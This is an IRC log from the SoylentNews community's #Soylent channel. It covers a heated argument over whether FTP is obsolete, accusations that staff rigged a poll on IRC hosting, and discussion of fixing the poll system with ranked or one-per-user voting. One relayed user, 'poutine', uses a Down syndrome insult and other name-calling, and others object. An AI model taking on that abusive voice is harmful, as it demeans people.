[21:37:36] <Hyperbolebot> [poutine] who even runs it
[21:37:36] <nobbis> xyzzyyxxyx: i wouldn;t vote against him
[21:38:11] <Hyperbolebot> [poutine] who even uses FTP in 2014?
[21:38:42] <xyzzyyxxyx> poutine: tasks and robots and things
[21:38:46] <drussell> poutine: I use ftp pretty much every day
[21:38:53] <Hyperbolebot> [poutine] ok well then you're an idiot
[21:38:57] <Hyperbolebot> [poutine] it's a relic of the 70s
[21:39:00] <Hyperbolebot> [poutine] with no purpose in 2014
[21:39:26] <drussell> poutine: Right back at ya, buddy...
[21:39:31] <Hyperbolebot> [poutine] I'm not joking when I say it's from the 70s
[21:39:39] <xyzzyyxxyx> poutine: oh, youth, so vain
[21:39:41] <drussell> So is UNIX
[21:39:51] <Hyperbolebot> [poutine] UNIX changed, FTP didn't
[21:39:52] <cmdr_LaminatorX> FTP is heavily used in broadcasting, all the time.
[21:39:56] * drussell wonders why he's feeding the trolls :)
[21:39:58] <nobbis> i'm a relic from the 70's with no purpose in 2014 you insesitive etc.
[21:39:59] <everdred> poutine: Does SFTP count?
[21:40:02] <weeds> and drussell is from the 60's!
[21:40:05] <Hyperbolebot> [poutine] SFTP is not FTP
[21:40:09] <Hyperbolebot> [poutine] sftp is ok
[21:40:13] <xyzzyyxxyx> the Web is 25yrs old today, lets stop using it, clearly it's old and out of style
[21:40:15] <drussell> Lol, nope, 70s :)
[21:40:29] <weeds> just a guess
[21:40:47] <paulej72> drussell I have leftover troll food that will go to waste if I do not use it, that is why I am doing it :)
[21:41:02] <drussell> I have my original Wang 2200LVP minicomputer downstairs with it's 8 meg 8" Shugart HDD.. Still works :)
[21:41:05] Cyprus_afk is now known as Cyprus
[21:41:09] <Hyperbolebot> [poutine] There's no reason to use FTP, use sftp, if that's overkill (like you don't care if people overhear the content of the transmission and dont'
[21:41:14] <Hyperbolebot> [poutine] want to waste CPU), you can use FTPS
[21:41:33] <Hyperbolebot> [poutine] in any event, using ftp in 2014 is an instant indicator you might have downs syndrome
[21:41:47] <Hyperbolebot> [poutine] Bruce Schneier would agree
[21:41:49] * Cyprus still giggling over the hyperbole from the hyperbole bot
[21:42:04] <Hyperbolebot> [SoylentNews] - Women Avoid STEM Degrees to Get Better Grades? - http://sylnt.us - this-will-not-be-controversial-oh-no-sir
[21:42:14] <paulej72> poutine you do not have to call people names
[21:42:31] <Hyperbolebot> [poutine] sometimes people need to be told of their bad security practices in terms that sink in paulej72
[21:43:30] <paulej72> poutine ftp is only insecrure if you are using it for secrue puropses. There are uses that do not require security
[21:43:34] <Hyperbolebot> [poutine] don't save passwords in plaintext, 2 factor or more authentication is usually a good idea, don't use md5 for anything security related
[21:43:52] <xyzzyyxxyx> pauliej72++
[21:43:52] <Hyperbolebot> karma - pauliej72: 3
[21:43:56] <Hyperbolebot> [poutine] there's better ways of doing things if you don't need any secure authentication methods
[21:44:00] <Hyperbolebot> [poutine] that were not designed in 1971
[21:44:07] <cmdr_LaminatorX> Poutine, I ask you again, please dial it back. The down's syndrome crack was over the line.
[21:44:22] <xyzzyyxxyx> poutine: hey! I was designed in 1971, you insensitive clod!
[21:44:34] <Hyperbolebot> [poutine] There is literally no good reason to use ftp in 2014, literally
[21:45:53] <cmdr_LaminatorX> The reason I use FTP every day at work, is because my clients use it. If we want their business, we need to take their files. If we try to get hardgore about certs and such, they can take their dollars to someone who is more accomodating.
[21:46:04] <xyzzyyxxyx> ^
[21:46:10] <weeds> ^^
[21:46:16] <Hyperbolebot> [poutine] would you provide telnetd access also?
[21:46:30] * xyzzyyxxyx sighs
[21:46:33] <cmdr_LaminatorX> It hasn't come up.
[21:46:40] <xlefay> LaminatorX++ ;')
[21:46:40] <Hyperbolebot> karma - laminatorx: 2
[21:47:12] <Hyperbolebot> [poutine] What kind of company is just like, "Oh yeah, all those files you transfer, and whatever your login credentials are, can be listened in on, and controlled by any one of those 40 some computers your traffic goes through"
[21:47:20] <Hyperbolebot> [poutine] and is okay with that
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[21:47:40] <cmdr_LaminatorX> Every TV station in the US.
[21:47:43] <drussell> poutine: If it's inside a secured network, VPN, whatever, plain old ftp is sufficient to virtually anything
[21:47:50] <cmdr_LaminatorX> And about half of the ad agencies.
[21:47:58] <drussell> s/to/for
[21:47:58] * SedBot offers drossall a /
[21:47:58] <xlefay> and about almost all web hosting providers.
[21:48:18] <cmdr_LaminatorX> I'm not saying that they're making wise choices.
[21:48:20] <xlefay> ( drussell you can still fix it! )
[21:48:21] <Hyperbolebot> [poutine] drussell, if it's within a company, there's a lot better solutions than ftp, with better resume, progress, error checking/correction, and other information
[21:48:28] <cmdr_LaminatorX> But that is the reality of the situation.
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[21:49:21] <Hyperbolebot> [poutine] It's an incompetent decision to use FTP in 2014
[21:49:44] <cmdr_LaminatorX> Unwise, to be sure.
[21:49:44] <everdred> cmdr_LaminatorX: I'd say you have a responsibility to try to correct your client's ways.
[21:49:49] <xyzzyyxxyx> poutine: shockingly, the world is full of incompetents
[21:49:53] <Hyperbolebot> [poutine] you might be at the behest of an incompetent person at your job, but that does not make it acceptable in 2014
[21:50:39] <cmdr_LaminatorX> I wish I had the liberty to only work with competant, security concious clients. Sales is less concerned with that, however.
[21:50:48] <xyzzyyxxyx> ^
[21:51:05] <Hyperbolebot> [poutine] what kind of data is sent through ftp with your business cmdr_laminatorx?
[21:51:24] <drussell> poutine: Sometimes, perhaps... Other times (like when interfacing with parts of legacy systems, for example) FTP is da' bomb :)
[21:51:39] <cmdr_LaminatorX> Many, many video files.
[21:52:25] <cmdr_LaminatorX> Mostly stuff that's being broadcast in the next few days anyway, so security of the transferred data is seldom an issue.
[21:52:53] <xyzzyyxxyx> "Cat causes family to hide and dial 911, Film at Eleven"
[21:53:10] <cmdr_LaminatorX> That's not to say that the stations aren't leaving themselves vulnurable to industrial espionage or outright vandalism via session hijacks.
[21:53:28] <cmdr_LaminatorX> But it clearly hasn't been enough of a problem for them to do something about it.
[21:55:32] <Alberto> so
[21:55:38] <Alberto> whats's up with the drama?
[21:55:57] <cmdr_LaminatorX> The drama seems to have receeded, thankfully.
[21:56:02] <everdred> Sorry to go all off-topic here, but does karma max out at 50?
[21:56:09] <everdred> Or did mine get stuck?
[21:56:13] <cmdr_LaminatorX> I believe so , yes.
[21:56:19] <Hyperbolebot> [poutine] Alberto SN staff didn't like the direction the IRC poll was going so they cheated the results at the very end
[21:56:23] <Hyperbolebot> [poutine] to show how it was unreliable
[21:56:45] <cmdr_LaminatorX> That is unfounded.
[21:56:47] <Alberto> What that means
[21:56:59] <Alberto> the poll was a fake?
[21:57:08] <xyzzyyxxyx> cmdr_LaminatorX++
[21:57:08] <Hyperbolebot> karma - cmdr_laminatorx: 1
[21:57:09] * Cyprus sighs
[21:57:28] <Hyperbolebot> [poutine] alberto, freenode was strongly winning until the last hour, when staff was made aware of that fact, and that they'd look bad if they just didn't go with the results
[21:57:54] <Hyperbolebot> [poutine] so they cheated the results for an independent soylentnews IRC to be over 2x what it was an hour ago
[21:58:03] <cmdr_LaminatorX> Poutine is questioning the validity of the current vote tally, entirely without evidence.
[21:58:39] * xyzzyyxxyx asks if this behavior is enough to get someone banned / cut off ( in a previous very recent life I was / am a chat admin )
[21:58:50] <cmdr_LaminatorX> The spread was around 50 votes at it's widest, but has since closed to single digits.
[21:58:58] <Hyperbolebot> [poutine] alberto, 12pm pacific, freenode had ~145 votes, and independent soylent had ~60
[21:59:03] <paulej72> if everyone in this channel voted today after we began talking about this the results would be easily justified
[21:59:10] <Hyperbolebot> [poutine] now freenode has 149, and SN IRC has 147
[21:59:38] <Hyperbolebot> [poutine] This was after I made them realize it'd be viewed as a DICE-like move if they totally threw out the results, which they planned on doing
[21:59:44] <Cyprus> unbased assertations aside: I was able to vote multiple times when I checked after someone asked while logged in on my user. Are we sure the poll code is working properly to lock votes?
[22:00:08] <lentilmania> has slashcode polling ever worked "properly"?
[22:00:09] <Hyperbolebot> [poutine] <SoylentBender> [nobbis] moving to freenode wins the day
[22:00:09] <Hyperbolebot> [poutine] <SoylentBender> [nobbis] according to the community
[22:00:17] <cmdr_LaminatorX> I broached the subject for discussion here in #Soylent a few hours ago. As the debate continued, the spread closed to neck and neck.
[22:00:32] <weeds> "This whole thing is wildly inaccurate. Rounding errors, ballot stuffers, dynamic IPs, firewalls. If you're using these numbers to do anything important, you're insane."
[22:00:35] <xlefay> lentilmania: that's the correct question and the answer is "No."
[22:00:49] <Cyprus> I voted a total of 3 times: my origional vote for freenode, and 2 on dont care as tests
[22:00:58] <cmdr_LaminatorX> Ouch.
[22:01:11] <paulej72> Cyprus no we do not know if the poll code is working well that is why all poll results say what weeds just posted
[22:01:13] <Cyprus> the third vote was the same computer as the second
[22:01:29] <cmdr_LaminatorX> Same browser or different?
[22:01:46] <Cyprus> ff
[22:02:12] <Hyperbolebot> [poutine] I could prove vote fraud with accurate server logs
[22:02:21] <xlefay> So in this case, poutine is effectively arguing to veto the vote because there's no clear way of knowing whether the initial votes were stuffed or not.
[22:02:45] <cmdr_LaminatorX> It may be worth examining those logs no matter what the result. We need to do better than this for the name vote.
[22:02:48] <lentilmania> honor the vote. embrace the chaos.
[22:02:55] <Hyperbolebot> [poutine] No, I'm pointing out how when votes don't go the way SN staff wants, they act like something was voted on that it wasn't
[22:03:02] <Hyperbolebot> [poutine] just like when Barrabas picked soylentnews.org
[22:03:05] <weeds> 1. Admit that the poll is no way to conduct business 2. Come up with a better way.
[22:03:07] <Hyperbolebot> [poutine] a domain we were supposed to vote on
[22:03:09] <Cyprus> My guess is it's cookie based?
[22:04:05] <xlefay> Poutine: That's incorrect. In fact, we ourselves have doubts about the voting system as well; and I for one don't believe for a second, like you, the votes were all real (whether it's SN irc or FN) but.. I don't believe the staff was involved in that.
[22:04:20] <cmdr_LaminatorX> The name vote is going to happen. We were going to do it tomorrowm but given what we're learning about the poll here I think that may be unwise.
[22:04:28] <paulej72> Cyprus I have not looked at the code but it could be. Other parts of slash use a hash of the ipaddress, I would have thought polls would have too
[22:04:33] <drussell> Why on earth is this IRC question such a big deal? The only people who are going to be on here to care are the people developing, maintaining, etc. behind the scenes. The average user doesn't even care. It has nothing to do with the actual site!
[22:04:52] <xlefay> I really think you should stop accusing people of things they may or may not have done. Innocent till proven no?
[22:04:54] <Cyprus> ip would explain as well
[22:05:04] <Cyprus> due to the ipv6 privacy rotations
[22:05:12] <Cyprus> or it just not understanding 6
[22:05:14] <xlefay> Cyprus: only if you've got the privacy mod enabled.
[22:05:25] * xlefay assumes IPv6 works yet @ the website...
[22:05:46] <Cyprus> true, i was assuming based on irc being 6 based
[22:05:57] <Cyprus> which suprised me
[22:05:59] <xlefay> Cyprus: that's because the IRC isn't currently hosted on SN.
[22:06:01] <Hyperbolebot> [poutine] There's a lot of people not on IRC because you're not on a major network
[22:06:04] <Hyperbolebot> [poutine] you can't run the poll on IRC
[22:06:30] * paulej72 never assumes anything about slash anymore
[22:06:41] <xlefay> Seriously, I'm starting a new channel without that stupid relay bot. Least a place people can chill without distractions or drama or whatnot. ;)
[22:07:07] <weeds> drussel: All true, but it has lead to some bigger issues no the least of which is: A Poll is no way to make important (or even trivial) decisions!
[22:07:10] <cmdr_LaminatorX> I think we should use something like surveymonkey, at least for the immediate future.
[22:07:27] <Cyprus> surveymonkey leads to hate, hate leads to suffering
[22:07:44] <weeds> Isn't survey monkey one vote per email?
[22:07:46] <Cyprus> at least, i think that's what Yoda said
[22:07:53] <Ingar> suffering leads to beta
[22:08:02] <Cyprus> Inger++
[22:08:02] <Hyperbolebot> karma - inger: 1
[22:08:05] <paulej72> some of us have access to many many eamil addresses
[22:08:11] <weeds> beta leads to torches and pitchforks
[22:08:16] <xyzzyyxxyx> Poll's tied
[22:08:25] BaconTree changed topic of #Soylent to: SoylentNews is LIVE people! https://soylentnews.org | Wiki: http://sylnt.us | Forums: http://sylnt.us | Code: http://sylnt.us | Got bugs? http://sylnt.us | Who's who? http://sylnt.us | Get Involved: mrcoolbp@soylentnews.org | Staff discussions in #staff are now open for all, always | /join ## - to chill
[22:08:44] <Hyperbolebot> [poutine] amazing how #1 closed the gap in the period of an hour while none of the other choices moved
[22:08:54] <Hyperbolebot> [poutine] looks representative of honest voting
[22:08:58] <weeds> +paulej72: that's why I mentioned it. You could just as well do one vote per login.
[22:09:08] <cmdr_LaminatorX> True pauliej72, but that's at least better than voting AC as often as you want.
[22:09:33] <Hyperbolebot> [poutine] Set UID max limit for voting, run the vote, 1x per uid and additionally per ip and email address
[22:09:54] <Hyperbolebot> [poutine] so no new regs could vote, and people with multiple uids have to work to vote multiple times
[22:09:55] <paulej72> I am jsut poiting out it is easy to game any online vote if that is your goal
[22:10:20] <Cyprus> The reason this worked on /. was the law of large numbers
[22:10:39] <cmdr_LaminatorX> They're all gamable. We need to at least not be trivially gamable.
[22:10:46] <paulej72> no one ever did a real poll on /.
[22:10:52] <Cyprus> that too =)
[22:11:01] <cmdr_LaminatorX> /. polls were never matters of consequence.
[22:11:04] <dx3bydt3> I think limiting to registered users would be sufficient.
[22:11:12] <xyzzyyxxyx> poutine: "closing the gap while no others moved" is patently false - the percentage may have stayed the same in relation to the others, but all numbers ticked up accordingly
[22:11:22] <weeds> poutine: claims without proof can be dismissed without proof.
[22:11:49] <paulej72> I do not think we can limit a slash poll to logged in users very easily. The code is not easy to modify in that way
[22:11:58] <weeds> One vote per login.
[22:12:02] <nobbis> there was a larger gap, i'm not saying its was rigged but the gap was larger earlier
[22:12:05] <cmdr_LaminatorX> That's why I seggested a 3rd party.
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[22:12:46] <Hyperbolebot> [poutine] there's no real indication SN has a working developer
[22:12:49] <dx3bydt3> you could start a topic and have people vote with a comment, then only count the registered users.
[22:13:01] <xyzzyyxxyx> 152 to 152 by number
[22:13:10] <Hyperbolebot> [poutine] some people aren't on IRC because relay bots are annoying as shit and you guys left freenode
[22:13:18] <Hyperbolebot> [poutine] I can't even see the topic over therre
[22:13:20] <paulej72> fuck you poutine I have been working my ass off on slashcode for two and half weeks
[22:13:25] <cmdr_LaminatorX> I interpereted the change to the fact that there's a spirited debate going on and more people are deciding to cast votes. The fact that the discussion is going on here may in and of istelf bias those votes towards approving of here, but I don't have a problem with that.
[22:13:29] <Hyperbolebot> [poutine] You guys suck at coming up with polling methods
[22:13:35] <xyzzyyxxyx> there it is
[22:13:47] <xyzzyyxxyx> pauliej72++
[22:13:48] <Hyperbolebot> karma - pauliej72: 4
[22:13:51] <paulej72> poutine--
[22:13:51] <Hyperbolebot> karma - poutine: -311
[22:14:03] <dx3bydt3> poutine--
[22:14:03] <Hyperbolebot> karma - poutine: -312
[22:14:06] <Hyperbolebot> [poutine] I've looked at your commits
[22:14:07] <drussell> If somone cares enough to look into helping the project, I would expect them to be able to manage to bring themselves to log into a dedicated IRC server. If not, do we really want them "helping" ??
[22:14:10] <Hyperbolebot> [poutine] I don't see much work being done there
[22:14:14] <Hyperbolebot> [poutine] just templating changes
[22:14:16] <nobbis> certainly the sentiment in here was heavily in favour of option 1
[22:14:21] <xyzzyyxxyx> drussell++
[22:14:21] <Hyperbolebot> karma - drussell: 2
[22:14:24] <Cyprus> poutine: It would be more helpful to provide constructive options / critisim as opposed to attacks
[22:14:32] <paulej72> where are your commits poutine WHERE ARE THEY
[22:14:43] <Hyperbolebot> [poutine] I contribute to quite a few open source projects
[22:14:44] <xyzzyyxxyx> Cyprus: he seems incapable of such
[22:14:50] <Hyperbolebot> [poutine] if you use xchat/hexchat, you're running bits of my code
[22:14:57] <paulej72> TO SLASHCODE poutine
[22:14:58] <Cyprus> xyzz: I can still try
[22:15:33] <Hyperbolebot> [poutine] why would I contribute to slashcode paulej72? I can determine if progress is being made by looking at git commits
[22:15:33] <xyzzyyxxyx> Cyprus: noble
[22:15:36] <paulej72> QUIT COMPLAINING ABOUT SLASH UINTL YOU START COMMITING CODE poutine
[22:15:45] <weeds> poutine has finally shown himself to be a troll.
[22:15:47] <xyzzyyxxyx> pauliej72++
[22:15:47] <Hyperbolebot> karma - pauliej72: 5
[22:15:52] <xyzzyyxxyx> weeds++
[22:15:52] <Hyperbolebot> karma - weeds: 1
[22:16:06] <dx3bydt3> finally?
[22:16:17] <Hyperbolebot> [poutine] I guess you have to make movies to criticize them, and you have to play piano to tell a 5 year old that he sucks when he's banging away at it
[22:16:18] <weeds> (I'm slow)
[22:16:21] <Cyprus> regardless of his temperment, it doesn't serve anything for this to turn into lkml
[22:16:48] <nobbis> you would say that to a 5 yr old ?
[22:17:20] <drussell> nobbis: Something tells me he would, yes...
[22:17:48] <drussell> Perhaps that's the way he was treated as a child?
[22:18:03] <drussell> Could explain some of the anger and vitrol
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[22:18:27] <xlefay> I honestly just think he's just compensating for something else.
[22:18:29] <cmdr_LaminatorX> I am actually grateful for poutine's insights. Thanks to his ugly invective, we're aware of an operational weakness before it became more serious. We were seriously going to poll on the name tomorrow. . Please though, poutine, be less combattive. It may well be that 1 is gaining so mant more votes in part becaise you're being such a jerk in your advocacy for option 2.
[22:18:36] <xlefay> It doesn't matter, it's annoying. I'm out of here.
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[22:19:19] <nobbis> cmdr_LaminatorX++
[22:19:19] <Hyperbolebot> karma - cmdr_laminatorx: 2
[22:20:03] <drussell> It's always great to have people play devil's advocate, you always want all sides of the story, opinions, etc. but when done in a destructive manner can end up causing much more harm than good
[22:20:24] <Cyprus> the devil's advocate can be professional though
[22:20:30] <cmdr_LaminatorX> ^^
[22:20:35] <Hyperbolebot> [poutine] if criticism of your ideas causes your ideas to no longer be good, then your ideas were not good to begin with
[22:20:35] <drussell> Exactly
[22:20:37] <nobbis> Cyprus++
[22:20:37] <Hyperbolebot> karma - cyprus: 1
[22:20:40] <weeds> The Laminator is wise (should have left the last sentence off though)
[22:21:10] <cmdr_LaminatorX> I'll settle for half-wise.
[22:21:41] <paulej72> that is better than a half-wit cmdr_LaminatorX :)
[22:21:45] <Cyprus> criticism is different than asshattery. Most of what I've seen has blurred the line
[22:22:15] <weeds> poutine: having an opinion (even if it turns out to be the best) isn't grounds for being a @#$%
[22:23:09] <drussell> I'm alarmed that the poll system was even being CONSIDERED for the name vote, though... The how often stories should be posted? and IRC? polls shouldn't have used that mechanism either if they're supposed to actually mean something other than an invitation for comments and feedback
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[22:24:25] <weeds> drussell: didn't know any better till now, I guess.
[22:24:33] <cmdr_LaminatorX> It was used because it was at hand, drussell, without really having looked closely at its underpinnings, unfortunately.
[22:24:56] <cmdr_LaminatorX> The n008 mistakes will continue until experience accrues.
[22:25:02] <drussell> Had I been on IRC at the beginning, I would have pointed that out :) I thought it was just a passing feedback question, not that anyone would actually be taking anything serious away from a slashpoll.. <insert poll disclamer again>
[22:25:35] <Cyprus> Clearly we should all send postcards with our vote to slashcott HQ
[22:25:42] <Cyprus> It's the only way to be sure
[22:25:58] <cmdr_LaminatorX> With fingerprints on the card, and blood samples.
[22:26:08] <Cyprus> what if we don't have fingers?
[22:26:52] <weeds> So what is to be done for this poll?
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[22:27:24] <paulej72> Cyprus you do have another apendage :)
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[22:27:33] <Cyprus> And there it is
[22:28:08] <drussell> This is a really tricky one... It's going to be very difficult to do real direction vote-type-things even with a system orders of magnitude better than the slashpoll system
[22:28:21] <Cyprus> if the response to the question of how does my wife vote is from /b/ someone's getting a dirty sock with a vote instead
[22:29:25] <xyzzyyxxyx> -_-
[22:29:27] <Cyprus> so kidding aside, what would the best alternative be?
[22:29:29] <nobbis> how do people feel about not allowing AC votes ?
[22:29:32] <drussell> But just as I've never taken the results of a poll on ol' /. seriously, we must not accidentally do that here and read too much into the results
[22:29:41] <Cyprus> require uid, lock out the last 5%?
[22:29:44] <xyzzyyxxyx> Google Form?
[22:29:52] <xyzzyyxxyx> <ducks>
[22:29:57] <weeds> registered users vote
[22:29:59] <Cyprus> lol google form
[22:30:43] <weeds> don't show the result until it's closed
[22:31:00] <cmdr_LaminatorX> ^^^
[22:31:01] <xyzzyyxxyx> weeds++
[22:31:01] <Hyperbolebot> karma - weeds: 2
[22:31:32] <weeds> but... a good solution to the current poll has to be item 1, doesn't it?
[22:31:36] <Cyprus> I can see i need to bite the bullet and learn slashcode *sighs*
[22:31:38] <drussell> For the name vote, either some type of suggestion box system or "rank these from best to worst" type vote of registered users would be a minimum requirement of that voting system, I'd say...
[22:32:28] <drussell> And no, you wouldn't show the current rankings in any way shape or form...
[22:32:37] <nobbis> ^^
[22:32:58] <drussell> Not sure what the exact algorythm would be to find the winner, but it really needs to be rankable at a minimum IMHO
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[22:33:22] <dx3bydt3> drussell++
[22:33:22] <Hyperbolebot> karma - drussell: 3
[22:33:23] <LaminatorX> .deop
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[22:33:37] * dx3bydt3 likes the idea of ranking.
[22:33:51] <LaminatorX> See you later gang.
[22:34:03] <weeds> later dude
[22:34:05] <nobbis> bye
[22:34:05] <xyzzyyxxyx> bye
[22:34:09] <drussell> Possibly a weighted score added so a person's "top" vote gets more "points" than the next, etc, I'd guess...
[22:34:26] <drussell> Something like this must have been studied before, I'm sure there are examples
[22:34:28] <weeds> does that complexity help?
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[22:34:41] <nobbis> could we use mod points somehow ?
[22:35:06] <drussell> For the name vote (and potentally other types of important votes) I think it's absolutely essential
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[22:35:24] <weeds> drussell: I don't see that, please elaborate
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[22:36:51] <drussell> weeds: For the name, people are likely to have a favorite, a few they think are OK and some they hate... A first past the post system pretty much invariably fails at these types of questions. Nobody except a small group ends up happy in many cases and it fuels the very type of resentment we're trying to avoid
[22:38:12] <weeds> How do you rank the OK's and Yucks? Doesn't the number one vote still win?
[22:39:04] <Cyprus> Agreed with drussel on fptp
[22:39:15] <xyzzyyxxyx> http://en.wikipedia.org
[22:39:32] <xyzzyyxxyx> http://en.wikipedia.org
[22:39:48] <nobbis> i think the plan anyway was to have a couple of rounds with the least popular being eliminated
[22:40:32] <weeds> xyzzyyxxyx: beauty - I get it, thanks!
[22:40:34] <xyzzyyxxyx> http://en.wikipedia.org
[22:40:39] <dx3bydt3> having ranked choices would allow that in one go.
[22:40:54] <drussell> In this case, another option would be for each potential name to have a 0-5 slider beside it for hate -> like or whatever (more like a strongly agree/agree/neutral/disagree/strongly disagree type survey)
[22:41:19] <Cyprus> I'm not sure 0 covers my feelings on the potentially disputed SoylentNews
[22:41:23] <xyzzyyxxyx> so-called 'round-robin' seems nice.....
[22:41:39] * kobach notes the channel ## is poutine free
[22:41:44] <mattie_p> can we get some legitimate FOSS implementations we could install that restrict voting to 1 per user?
[22:41:46] <weeds> you could get the same effect with rounds, no?
[22:42:08] <Cyprus> mattie_p: eh you could do it now with a 500 error *grins*
[22:42:49] <drussell> Cyprus: Perhaps -5 to +5 or whatever, then... You know what I mean, though... Yes/no or pick one of the following isn't really the right kind of vote
[22:43:04] <dx3bydt3> with ranked choices, tabulate the results of the first choices, knock off the lowest scoring choice, repeat until only one result remains.
[22:43:33] * kobach notes the channel ## is poutine free
[22:43:34] <drussell> That doesn't always work, sometimes things change significantly when you start removing choices
[22:43:43] <mattie_p> the consensus of the staff seems to be to hold off on voting until we can implement a better system for polls of this nature, but we want it to be self-hosted
[22:43:54] <nobbis> drussell: but i think thats valid
[22:44:03] <weeds> no new code required, just rounds - survivor!
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[22:44:12] * kobach notes that the channel ## is poutine free
[22:44:23] <mattie_p> weeds: there were accusations of vote stuffing in the current poll
[22:44:25] <dx3bydt3> literally poutine--
[22:44:33] <xyzzyyxxyx> http://en.wikipedia.org makes my head hurt from tallying but I still like it
[22:44:58] <mattie_p> weeds: those accusations might be valid, and additionally, we would prefer 1 vote per uid for something like this.
[22:45:14] <weeds> mattie_p: yes I know so we've talked about one vote per logged in user (isn't perfect, but much better)
[22:45:36] <mattie_p> so I guess we need to solicit an implementation we could use to achieve these goals
[22:45:39] <drussell> nobiss: What if my second choice is one of the ones that gets bumped? Do I have to try to see into the future and vote strategically for the one I think will be lower so I'll be able to vote for it in the 2nd round, etc. etc.
[22:46:03] <drussell> Same problem in politics in many countries with rounds, causes even more strategic voting
[22:46:10] <xyzzyyxxyx> ^
[22:46:33] * xyzzyyxxyx waves a purple finger, and a blue one, and a yellow one....
[22:46:47] <Cyprus> so we're going to have a.... vote on voting? (yyeeeaaahhhhh *shades*)
[22:46:51] <drussell> The ranked way or 0-5 or -5+5 systems lets you do it all in one round without all the mess
[22:47:20] <nobbis> ok, you can only have one 5 choice ?
[22:47:22] <weeds> drussellAnd requires lots of development.
[22:48:25] <drussell> No, I'm saying either rank system so if we have 5 choices you get to pick your 1,2,3,4,5 choice OR use a system where you rate each option as a 0-5 or a -5 to +5 or whatever to get your base data
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[22:49:40] <weeds> We would like to start picking a name right away - was planned for tomorrow. What is the best fastest way to get a vote? Here in the US we are used to pick your favorite even if several are offered.
[22:49:43] <xyzzyyxxyx> drussell: option 2
[22:50:32] <xyzzyyxxyx> IRC tied 155 to 155
[22:50:48] <weeds> drussell: only for logged in members?
[22:50:52] <nobbis> ooh our overlord has a journal entry.....
[22:51:05] <drussell> weeds: The only hard part is deciding how to weight responses and that could perhaps be a simpler with option 2... Again, I'm no statistician but I'm sure there must be good info on this problem out there
[22:51:12] <weeds> old news :0
[22:51:43] <weeds> on the journal entry^
[22:51:59] <nobbis> sorry not paying attention
[22:52:07] <xyzzyyxxyx> poutine was too busy pouting for me to notice, weeds
[22:52:09] <nobbis> too busy vote stuffing
[22:52:11] <xyzzyyxxyx> poutine--
[22:52:12] <Hyperbolebot> karma - poutine: -313
[22:52:17] <drussell> I'd advocate for logged in users only for a "voting" system on site issues, the site direction, etc. I think, yes...
[22:52:18] <xyzzyyxxyx> also that, nobbis
[22:52:21] <weeds> ha ha
[22:53:13] <weeds> Ok, so now what is the best path to get there? Can the existing poll be modified?
[22:53:39] <nobbis> drussell: how to weight responses ?
[22:54:19] <nobbis> nvm i see what you mean
[22:55:21] <xyzzyyxxyx> that journal is required reading
[22:55:28] <xyzzyyxxyx> srsly
[22:55:39] <Cyprus> journal?
[22:55:51] <xyzzyyxxyx> http://soylentnews.org
[22:55:51] <weeds> mod up^^
[22:56:15] <xyzzyyxxyx> http://soylentnews.org better link
[22:56:53] <Cyprus> nice
[22:58:27] * xyzzyyxxyx notes that there are still good people in the world
[22:59:01] <weeds> Enjoyed the conversation, have to go. Admit the poll sucks for real business - no changes will be made based on it. Come up with better true voting system.
[22:59:10] <xyzzyyxxyx> weeds++
[22:59:11] <Hyperbolebot> karma - weeds: 3
[22:59:15] <xyzzyyxxyx> l8r
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[23:02:14] <Alberto> bacon++
[23:02:14] <Hyperbolebot> karma - bacon: 162
[23:02:18] <xyzzyyxxyx> bids adieu
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[23:03:07] <Alberto> weeds--
[23:03:07] <Hyperbolebot> karma - weeds: 2
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[23:05:11] <kobach> whered pouting go
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[23:11:47] <Alberto> the morron speaks on Hyperbolebot
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[23:21:21] <Hyperbolebot> [SoylentNews] - Virtual Reality and Chimpanzees - http://sylnt.us - owned-by-a-chimpanzee
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[23:42:44] <holycause> "There's a lot of people not on IRC because you're not on a major network"
[23:42:55] <holycause> pardon my noobness when it comes to IRC, but why is this so?
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[23:50:13] <drussell> I don't believe that is so...
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[23:51:03] <holycause> my intuition tells me it isn't so either
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